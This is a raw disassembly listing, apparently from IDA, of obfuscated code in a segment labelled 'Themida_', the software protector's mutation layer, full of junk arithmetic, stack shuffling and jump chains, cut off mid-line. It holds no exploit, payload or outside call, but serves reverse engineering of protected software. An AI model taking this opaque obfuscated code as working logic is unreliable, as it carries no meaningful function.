CODE XREF: Themida_:00550A86j mov esi, 2FB53007h push esi not dword ptr [esp] pop esi and esi, 72C00BC6h add esi, 0AFBFF442h add ebp, esi mov esi, [esp] push esi jmp loc_55672C ; --------------------------------------------------------------------------- lodsb push small 265Eh mov [esp], bx sub esp, 4 jmp loc_557D16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55275E: ; CODE XREF: sub_556A70-978j not esi sub esi, 475C382Dh dec esi sub esi, 85ED89A4h sub edx, esi pop esi jmp loc_5597BB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552775: ; CODE XREF: Themida_:005551C9j push dx mov dx, 3E26h sub word ptr [esp+4], 34D2h jmp loc_55A341 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552787: ; CODE XREF: sub_556A70-2E70j add esp, 4 jmp loc_55438D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55278F: ; CODE XREF: Themida_:00555B6Fj push dword ptr [esp+4] pop ebp jmp $+5 pop dword ptr [esp] mov esp, [esp] idiv cx push eax push esp mov eax, [esp] add esp, 4 push ebp mov ebp, 618F0E73h xor ebp, 618F0E77h jmp loc_556E2E ; --------------------------------------------------------------------------- loc_5527BE: ; CODE XREF: Themida_:00554979j add esi, eax sub esi, 386A0DC7h jmp loc_55423F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5527CB: ; CODE XREF: sub_556A70+4B8Ej add esp, 4 sub ebx, esi mov esi, [esp-6+arg_0+2] add esp, 4 pop small word ptr [eax] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push edi mov edi, esp add edi, 4 sub edi, 2 xchg edi, [esp] jmp loc_555A89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_5527FB: ; CODE XREF: sub_553B16+590Cj pop eax add edx, 0CF256E73h sub eax, 36003F46h jmp loc_557A79 ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_55280C: ; CODE XREF: sub_55515F-4084j push ecx jmp loc_554D05 ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552812: ; CODE XREF: sub_556A70-4FB8j xchg eax, [esp-14h+arg_10] push [esp-14h+arg_10] pop eax sub esp, 4 mov [esp-10h+arg_C], edx mov edx, esp jmp loc_558A14 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554BBA loc_552826: ; CODE XREF: sub_554BBA-288Fj pop ebx shr ecx, 0 jmp loc_5570E3 ; END OF FUNCTION CHUNK FOR sub_554BBA ; --------------------------------------------------------------------------- mov cx, [esp] push 5341h mov [esp], ecx push ecx mov ecx, esp push edi mov edi, 667E2632h and edi, 1BCC4918h xor edi, 26134566h shr edi, 6 neg edi shl edi, 8 add edi, 917D1504h add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp jmp loc_55B8B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552873: ; CODE XREF: sub_556A70+2446j push ecx push esp jmp loc_554472 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55287A: ; CODE XREF: Themida_:00558F0Cj push dword ptr [esp+4] pop edi jmp loc_5524E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CC90 loc_552884: ; CODE XREF: sub_55CC90-BBBBj movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push 44E5h jmp loc_55887D ; END OF FUNCTION CHUNK FOR sub_55CC90 ; --------------------------------------------------------------------------- loc_5528A3: ; CODE XREF: Themida_:00557DE0j mov esi, esp push edi push ebp jmp loc_555E46 ; --------------------------------------------------------------------------- loc_5528AC: ; CODE XREF: Themida_:00558ADEj push ebp jmp loc_559F45 ; --------------------------------------------------------------------------- loc_5528B2: ; CODE XREF: Themida_:0055C825j add esp, 4 sub esi, 338D03E0h jmp loc_55B941 ; --------------------------------------------------------------------------- loc_5528C0: ; CODE XREF: Themida_:0055AD60j sub esp, 4 mov [esp], ebp mov ebp, 25926E05h inc ebp and ebp, 75796C09h sub ebp, 39D90D6Fh neg ebp xor ebp, 63D5872Ah add ebp, 423928D1h add ebp, 46A9B0EEh add ecx, ebp pop ebp add ecx, 2 xchg ecx, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_552905: ; CODE XREF: Themida_:005548D1j shl edx, 6 xor edx, 60B5C7DFh xor esi, edx mov edx, [esp] add esp, 4 or esi, 6B09055Ch push edi push 0EF29CF5Eh pop edi jmp loc_5545B1 ; =============== S U B R O U T I N E ======================================= sub_55292B proc near ; CODE XREF: sub_556A70+217Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00558903 SIZE 00000007 BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp mov [esp+0], ecx push edx jmp loc_558903 sub_55292B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552944: ; CODE XREF: sub_556A70-3ED1j pop edx jmp sub_552E24 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55294A: ; CODE XREF: sub_552B74-1A91j mov bh, 1Eh and cl, bh jmp loc_55818C ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- loc_552953: ; CODE XREF: Themida_:0055A736j push ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552963: ; CODE XREF: sub_556A70-5102j pop ebp neg edx jmp loc_550F19 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55296B: ; CODE XREF: Themida_:00551CB3j add eax, 0DD80FCCh sub eax, ebx sub eax, 0DD80FCCh jmp loc_557BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551B42 loc_55297C: ; CODE XREF: sub_551B42+74DCj add esp, 4 ; END OF FUNCTION CHUNK FOR sub_551B42 ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55297F: ; CODE XREF: sub_551B42+327Dj ; sub_556A70+27D3j push edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-4+arg_0] pop esp jmp loc_551973 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_552998: ; CODE XREF: sub_555B85-4994j push ecx mov ecx, 36662BF2h add ecx, 6131278Ah jmp loc_550D50 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_5529A9: ; CODE XREF: sub_553651+2DFBj sub ebx, 617F52E6h jmp loc_55C638 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- loc_5529B4: ; CODE XREF: Themida_:005583E8j push ax mov ah, 2Dh add bh, 24h add bh, ah sub bh, 24h mov ax, [esp] add esp, 2 jmp loc_55A6AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5529CF: ; CODE XREF: sub_556A70-37AFj push ecx jmp loc_5541F7 ; --------------------------------------------------------------------------- loc_5529D5: ; CODE XREF: sub_556A70-38D7j shr bh, 6 not bh xor bh, 8Dh sub bh, 0Eh sub bh, 0C1h add dl, bh mov ebx, [esp-4+arg_0] add esp, 4 or dl, 1Ch push ebx mov bh, 90h not bh jmp loc_55457C ; --------------------------------------------------------------------------- loc_5529F8: ; CODE XREF: sub_556A70-5D73j push [esp-0Ch+arg_8] pop eax push esi mov esi, esp jmp loc_556C5C ; --------------------------------------------------------------------------- loc_552A04: ; CODE XREF: sub_556A70-23AAj push edi jmp loc_552127 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552A0A: ; CODE XREF: Themida_:00552E39j pop edx sub eax, 47E35605h add eax, esi add eax, 47E35605h sub eax, 2F235685h pop esi jmp loc_552219 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_559B8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5526D6 loc_552A29: ; CODE XREF: sub_5526D6+68AAj push esi jmp loc_5578FB ; END OF FUNCTION CHUNK FOR sub_5526D6 ; --------------------------------------------------------------------------- loc_552A2F: ; CODE XREF: Themida_:0055802Ej mov eax, esp add eax, 4 push 5019h mov [esp], esi mov esi, 4 push edx jmp loc_552E32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552A49: ; CODE XREF: sub_556A70+5753j not esi xchg esi, ecx push eax mov eax, 635461A9h not eax not eax or eax, 78825C65h dec eax jmp loc_551954 ; --------------------------------------------------------------------------- loc_552A62: ; CODE XREF: sub_556A70+15A5j push eax mov eax, 4 add edi, eax mov eax, [esp+4+var_4] jmp loc_552CD8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] jmp loc_553077 ; --------------------------------------------------------------------------- loc_552A88: ; CODE XREF: Themida_:0055194Fj pop esi pop dword ptr [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_552A96: ; CODE XREF: Themida_:005547D3j mov edx, 4 sub ebp, 33984A5Dh add ebp, edx add ebp, 33984A5Dh mov edx, [esp] add esp, 4 push eax mov eax, 2 add ebp, 0ABC6925h jmp loc_555D28 ; --------------------------------------------------------------------------- loc_552AC3: ; CODE XREF: Themida_:0055AD2Cj add ch, bh sub ch, 88h mov bx, [esp] jmp loc_559B20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554E85 loc_552AD1: ; CODE XREF: sub_554E85+3Dj mov eax, ebp pop ebp mov edx, [esp-4+arg_0] add esp, 4 push 6559h jmp loc_557956 ; END OF FUNCTION CHUNK FOR sub_554E85 ; --------------------------------------------------------------------------- loc_552AE4: ; CODE XREF: Themida_:005552C6j inc ebp dec ebp xor ebp, 10065AAFh jmp loc_5582FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552AF1: ; CODE XREF: sub_556A70+D0Bj mov esp, [esp+4+var_4] mov eax, [esp+4+var_4] add esp, 4 not eax xchg eax, edi add edi, 0C4F48785h jmp loc_553B51 ; --------------------------------------------------------------------------- loc_552B08: ; CODE XREF: sub_556A70+21Cj add ebp, ecx pop ecx xchg ebp, [esp-4+arg_0] jmp loc_552BC5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_552B13: ; CODE XREF: sub_55AA5F+1Bj sub ebx, 0D026726Bh jmp loc_5532C6 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552B1E: ; CODE XREF: sub_556A70+5201j shl si, 6 inc si jmp loc_559883 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552B29: ; CODE XREF: Themida_:0055C9F7j push 7310h jmp loc_559C11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552B33: ; CODE XREF: sub_556A70-4595j mov eax, 4 add ecx, eax pop eax push ecx push [esp+arg_0] pop ecx pop dword ptr [esp+0] mov esp, [esp-4+arg_0] jmp loc_556B24 ; --------------------------------------------------------------------------- loc_552B4C: ; CODE XREF: sub_556A70+EA1j sub ebp, 0EBF6CCh mov esi, ebp pop ebp sub eax, 701D044Dh sub eax, esi push esi mov esi, 701D044Dh add eax, 5A3B430Ah jmp loc_553DEB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552B6C: ; CODE XREF: Themida_:00550D2Ej and ah, 0FAh jmp loc_5541CE ; =============== S U B R O U T I N E ======================================= sub_552B74 proc near ; CODE XREF: sub_556A70+2FA2j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00550B13 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005510E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005512C4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00552384 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005526AA SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055294A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00552F85 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00553274 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005534BF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00553729 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055385A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00553A60 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00553B05 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 005543EB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055538F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005559CD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00557FAC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055818C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055856F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00558BB4 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00559384 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00559E79 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055A32A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055B790 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B7CE SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0055BB7E SIZE 00000063 BYTES ; FUNCTION CHUNK AT 0055BC44 SIZE 00000021 BYTES sub esp, 2 jmp loc_5512C4 sub_552B74 endp ; --------------------------------------------------------------------------- loc_552B7F: ; CODE XREF: Themida_:0055634Aj sub eax, ebp sub esp, 4 mov [esp], edx push ebx mov ebx, 2B715068h mov edx, ebx pop ebx sub eax, edx jmp loc_555DC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552B97: ; CODE XREF: sub_556A70+3108j xor edx, 5B06441Bh xor ebp, edx jmp loc_552944 ; --------------------------------------------------------------------------- loc_552BA4: ; CODE XREF: sub_556A70-1768j neg ebp add ebp, 57A136C1h jmp loc_55B464 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552BB1: ; CODE XREF: Themida_:00555DCDj sub eax, 5FE01CD6h jmp loc_5522CF ; --------------------------------------------------------------------------- loc_552BBB: ; CODE XREF: Themida_:0055BF53j xor edi, esi pop esi add eax, edi jmp loc_55472E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552BC5: ; CODE XREF: sub_556A70-3F62j pop esp push eax mov ah, 0ACh shl ah, 3 push ecx jmp loc_5513EB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552BD2: ; CODE XREF: Themida_:00553897j sub esi, edx pop edx xchg esi, [esp] pop esp mov [esp], edx push esp jmp loc_556292 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552BE2: ; CODE XREF: sub_556A70+4267j mov [esp+0], edx jmp sub_5584F8 ; --------------------------------------------------------------------------- loc_552BEA: ; CODE XREF: sub_556A70-129Cj pop dword ptr [esp+0] xchg ebx, ecx not ebx xchg ebx, ecx jmp loc_5553A3 ; --------------------------------------------------------------------------- loc_552BF8: ; CODE XREF: sub_556A70-1F7Ej mov al, 0A3h jmp sub_55AE6E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557FA0 loc_552BFF: ; CODE XREF: sub_557FA0+7j push ecx mov ecx, 65693F17h and ecx, 1AFB36B2h jmp sub_55319E ; END OF FUNCTION CHUNK FOR sub_557FA0 ; --------------------------------------------------------------------------- loc_552C10: ; CODE XREF: Themida_:00553D3Dj xor eax, ebx pop ebx push 5C9Ch mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_555EB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552C28: ; CODE XREF: sub_556A70+B0Cj push esp pop edx add edx, 4 add edx, 4 xor edx, [esp-4+arg_0] xor [esp-4+arg_0], edx jmp loc_55AB5A ; --------------------------------------------------------------------------- loc_552C41: ; CODE XREF: sub_556A70-CD7j add al, ch mov ecx, [esp-4+arg_0] push ebp jmp loc_558E19 ; --------------------------------------------------------------------------- loc_552C4C: ; CODE XREF: sub_556A70-3D1Ej add edx, 4 xchg edx, [esp+0] jmp loc_556CC7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550F53 loc_552C5A: ; CODE XREF: sub_550F53+6j push edi mov edi, 73694DE5h not edi push ebx mov ebx, 4EFC72D2h shr ebx, 1 xor ebx, 3AC57463h and ebx, 1C936D20h add ebx, 122F0E7Dh jmp loc_5583A0 ; END OF FUNCTION CHUNK FOR sub_550F53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552C81: ; CODE XREF: sub_556A70+740j mov [esp+0], eax xchg eax, [esp+0] not eax jmp loc_559D72 ; --------------------------------------------------------------------------- loc_552C8E: ; CODE XREF: sub_556A70-2F15j add eax, 7ED5452Dh add eax, 6F796FCBh push ebp push esp pop ebp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx push ebp push [esp+8+var_4] mov ebp, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] pop esp jmp loc_559719 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552CBE: ; CODE XREF: Themida_:00550C94j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55BD18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552CD8: ; CODE XREF: sub_556A70-4003j add esp, 4 jmp sub_559B2A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552CE0: ; CODE XREF: Themida_:005515EAj pop ebx push ebx mov ebx, 2 sub ecx, 1CDF1C16h jmp loc_554459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552CF2: ; CODE XREF: sub_556A70-1650j mov [esp+0], esi push esp pop esi add esi, 4 push 4D1Eh jmp loc_559AFE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552D07: ; CODE XREF: Themida_:0055CA70j pop ebx pop dword ptr [esp] pop esp push cx mov cl, 7Bh sub bl, 0EAh sub bl, cl add bl, 0EAh jmp loc_5514CB ; --------------------------------------------------------------------------- loc_552D1D: ; CODE XREF: Themida_:0055320Fj push eax jmp loc_550B48 ; --------------------------------------------------------------------------- loc_552D23: ; CODE XREF: Themida_:00554BC4j mov ecx, esi mov edx, ecx pop ecx pop esi add eax, edx mov edx, [esp] add esp, 4 push edi mov edi, 2 add eax, edi pop edi xchg eax, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552D4C: ; CODE XREF: sub_556A70-55BAj add edx, 4 jmp loc_552C4C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552D57: ; CODE XREF: Themida_:00557CDEj add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_557E0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552D69: ; CODE XREF: sub_556A70+8F3j inc ecx inc ecx not ecx and ecx, 5E895096h dec ecx add ecx, 111B7DDDh jmp loc_551C34 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552D7F: ; CODE XREF: Themida_:0055157Dj push eax mov ah, 0B9h mov cl, 65h sub cl, ah pop eax push edx jmp loc_554327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_552D8D: ; CODE XREF: sub_5567EA-53C9j xor ecx, 6F8D382Fh or edx, ecx pop ecx jmp loc_5523F7 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_552D9B: ; CODE XREF: sub_5566B9+2F51j add esp, 4 push 2C93h mov [esp+10h+var_10], esi mov esi, 4 add ebx, esi mov esi, [esp+10h+var_10] jmp loc_55B2E5 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_552DB5: ; CODE XREF: Themida_:00554C0Aj pop edi push 6390h mov [esp], edx push 2 pop edx jmp loc_551A31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552DC9: ; CODE XREF: sub_556A70-3882j push 387Fh mov [esp+4+var_4], ebp mov ebp, esp jmp loc_554605 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552DD8: ; CODE XREF: Themida_:00556629j mov [esp], esp add dword ptr [esp], 4 pop eax push 5EC3h mov [esp], edx mov edx, 4 add eax, edx pop edx push ebx mov ebx, 551F1A65h jmp loc_558048 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_552DFE: ; CODE XREF: sub_55A748-4790j push 66D5h mov [esp+4+var_4], edx push ebx push eax mov ah, 0Ch jmp loc_559335 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- loc_552E0F: ; CODE XREF: Themida_:0055BCE7j neg bl add bl, 84h xor bl, 2Bh xor al, bl pop ebx shr al, 3 and al, 7 jmp loc_557F31 ; =============== S U B R O U T I N E ======================================= sub_552E24 proc near ; CODE XREF: sub_556A70-412Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00550ED1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00552191 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055524D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00556572 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005596FF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00559C8D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B0C8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055BAE0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055CB2B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CD39 SIZE 0000000B BYTES push ebx jmp loc_55CB2B sub_552E24 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552E2A: ; CODE XREF: sub_556A70-23E9j xchg ebx, [esp+4+var_4] jmp loc_55313D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552E32: ; CODE XREF: Themida_:00552A44j mov edx, 2F235685h add eax, edx jmp loc_552A0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552E3E: ; CODE XREF: sub_556A70-2900j mov ecx, 67C04373h jmp sub_552FCD ; --------------------------------------------------------------------------- loc_552E48: ; CODE XREF: sub_556A70-59Bj mov ecx, esp add ecx, 4 jmp loc_5521BC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ebp mov ebp, 45A9BE86h sub eax, ebp mov ebp, [esp] jmp loc_5540B2 ; --------------------------------------------------------------------------- loc_552E70: ; CODE XREF: Themida_:005548A9j pop edi and edi, 474513C6h and edi, 46CA0359h push ecx mov ecx, 5E9B45D9h sub ecx, 263F38D2h xor ecx, 1630124h not ecx jmp loc_559C94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550E2C loc_552E96: ; CODE XREF: sub_550E2C+7167j shr esi, 7 xor esi, 38BB3A70h sub esi, 348724F7h add edx, esi pop esi jmp loc_55A1F2 ; END OF FUNCTION CHUNK FOR sub_550E2C ; --------------------------------------------------------------------------- loc_552EAD: ; CODE XREF: Themida_:00557DA5j add edx, ecx pop ecx sub esi, edx pop edx push 790Ah mov [esp], edi jmp loc_5590D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552EC0: ; CODE XREF: sub_556A70+56C6j push edi mov edi, esp push ebx mov ebx, 0A3F4F5Ch sub ebx, 2419160Eh not ebx not ebx add ebx, 5D2023A2h jmp loc_550C99 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552EDE: ; CODE XREF: Themida_:0055A33Cj mov ebx, [esp] add esp, 4 add bl, 0A6h add bl, 2 jmp loc_55421D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552EF2: ; CODE XREF: sub_556A70-5E25j push 4522h jmp loc_556982 ; --------------------------------------------------------------------------- loc_552EFC: ; CODE XREF: sub_556A70-556Ej shr edx, 1 cmp eax, edx jz loc_550F2B push 7F9Ch mov [esp-4+arg_0], eax mov eax, 7D686A1Eh or eax, 304A61EBh neg eax not eax push edx push ecx mov ecx, 15C5106Fh add ecx, 29B13369h mov edx, ecx jmp loc_55C1A7 ; --------------------------------------------------------------------------- loc_552F30: ; CODE XREF: sub_556A70+3AEBj add ebp, eax jmp loc_55A88C ; --------------------------------------------------------------------------- loc_552F37: ; CODE XREF: sub_556A70+3337j pop edx push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], edi mov edi, 1CE73B07h jmp loc_556246 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55ABA3 loc_552F51: ; CODE XREF: sub_55ABA3-9EBCj mov ebx, ebp jmp loc_55773B ; END OF FUNCTION CHUNK FOR sub_55ABA3 ; --------------------------------------------------------------------------- loc_552F58: ; CODE XREF: Themida_:0055CB64j sub esp, 4 mov [esp], eax mov eax, esp jmp loc_55C594 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552F68: ; CODE XREF: sub_556A70+4F22j mov [esp+0], ebp jmp loc_55A73B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_552F70: ; CODE XREF: Themida_:00555575j mov [esp], ebp mov ebp, 34F9668Fh jmp loc_559ADF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552F7D: ; CODE XREF: sub_556A70-48A3j pop [esp+0Ch+var_C] jmp loc_553CEE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_552F85: ; CODE XREF: sub_552B74+94Fj add esi, 4 add esi, 4 jmp loc_5543EB ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552F96: ; CODE XREF: sub_556A70+3F50j shl edi, 8 and edi, 1317F0Ah add edi, 0FFEEE504h mov ebx, edi pop edi jmp loc_5576B5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CC90 loc_552FAD: ; CODE XREF: sub_55CC90-68A4j pop eax add eax, 4 jmp loc_5510C9 ; END OF FUNCTION CHUNK FOR sub_55CC90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_552FB8: ; CODE XREF: sub_553B16+6D60j pop eax not eax xchg eax, edx shr edx, 5 not edx jmp loc_559414 ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D0E loc_552FC6: ; CODE XREF: sub_558D0E-79CDj mov edi, ebx jmp loc_55848B ; END OF FUNCTION CHUNK FOR sub_558D0E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_552FCD proc near ; CODE XREF: sub_556A70-3C2Dj push ebp mov ebp, esp jmp loc_557094 sub_552FCD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_552FD5: ; CODE XREF: sub_556A70-1B04j sub [esp+4+var_4], 406078F5h push eax jmp loc_5545FE ; --------------------------------------------------------------------------- loc_552FE2: ; CODE XREF: sub_556A70+1624j pop esp mov word ptr [esp+4+var_4], cx jmp loc_55894C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp jmp loc_550B3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 